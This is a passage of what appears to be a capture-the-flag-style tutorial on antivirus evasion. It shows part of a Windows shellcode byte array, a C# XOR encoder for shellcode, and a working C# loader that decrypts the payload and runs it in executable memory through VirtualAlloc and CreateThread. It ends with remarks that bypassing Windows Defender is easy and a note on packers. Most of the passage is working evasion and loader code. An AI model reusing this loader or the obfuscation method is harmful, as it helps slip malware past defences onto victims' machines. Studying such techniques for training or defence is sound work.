0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,
0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,
0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x49,0xb8,0x63,
0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x41,0x50,0x41,0x50,0x48,
0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0x0d,0x59,0x41,
0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x01,0x01,0x48,0x8d,
0x44,0x24,0x18,0xc6,0x00,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,
0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,
0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,
0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0x0e,0x41,
0xba,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,
0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5};

Encoder

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Encrypter
{
internal class Program
{
private static byte[] xor(byte[] shell, byte[] KeyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= KeyBytes[i % KeyBytes.Length];
}
return shell;
}
static void Main(string[] args)
{
//XOR Key - It has to be the same in the Droppr for Decrypting
string key = "THMK3y123!";

//Convert Key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);

//Original Shellcode here (csharp format)
byte[] buf = new byte[460] {0xfc,0x48,0x83,...,0xd5};

//XORing byte by byte and saving into a new array of bytes
byte[] encoded = xor(buf, keyBytes);
Console.WriteLine(Convert.ToBase64String(encoded));
}
}
}

Self-decoding Payload

using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;

public class Program {
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

private static byte[] xor(byte[] shell, byte[] KeyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= KeyBytes[i % KeyBytes.Length];
}
return shell;
}
public static void Main()
{

string dataBS64 ="qADOr8...2o4uOjM9A==";
byte[] data = Convert.FromBase64String(dataBS64);

string key = "THMK3y123!";
//Convert Key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);

byte[] encoded = xor(data, keyBytes);

UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);

IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

WaitForSingleObject(threadHandle, 0xFFFFFFFF);

}
}

Although AVs like windows defender are powerful, but they detect virus by signature or decrypting code, so we just need a bit of imagination to customize any method could prove enough for a successful bypass.
Maybe cheating people is hard, but cheating machines is easy, because machines are honesty

Packers

Packers are mostly used by software developers who would like to protect their software from being reverse engineered or cracked.They achieve some level of protection by implementing a mixture of transforms that include compressing, encrypting, adding debugging protections and many others. So packers are also commonly used to obfuscate malware without much effort.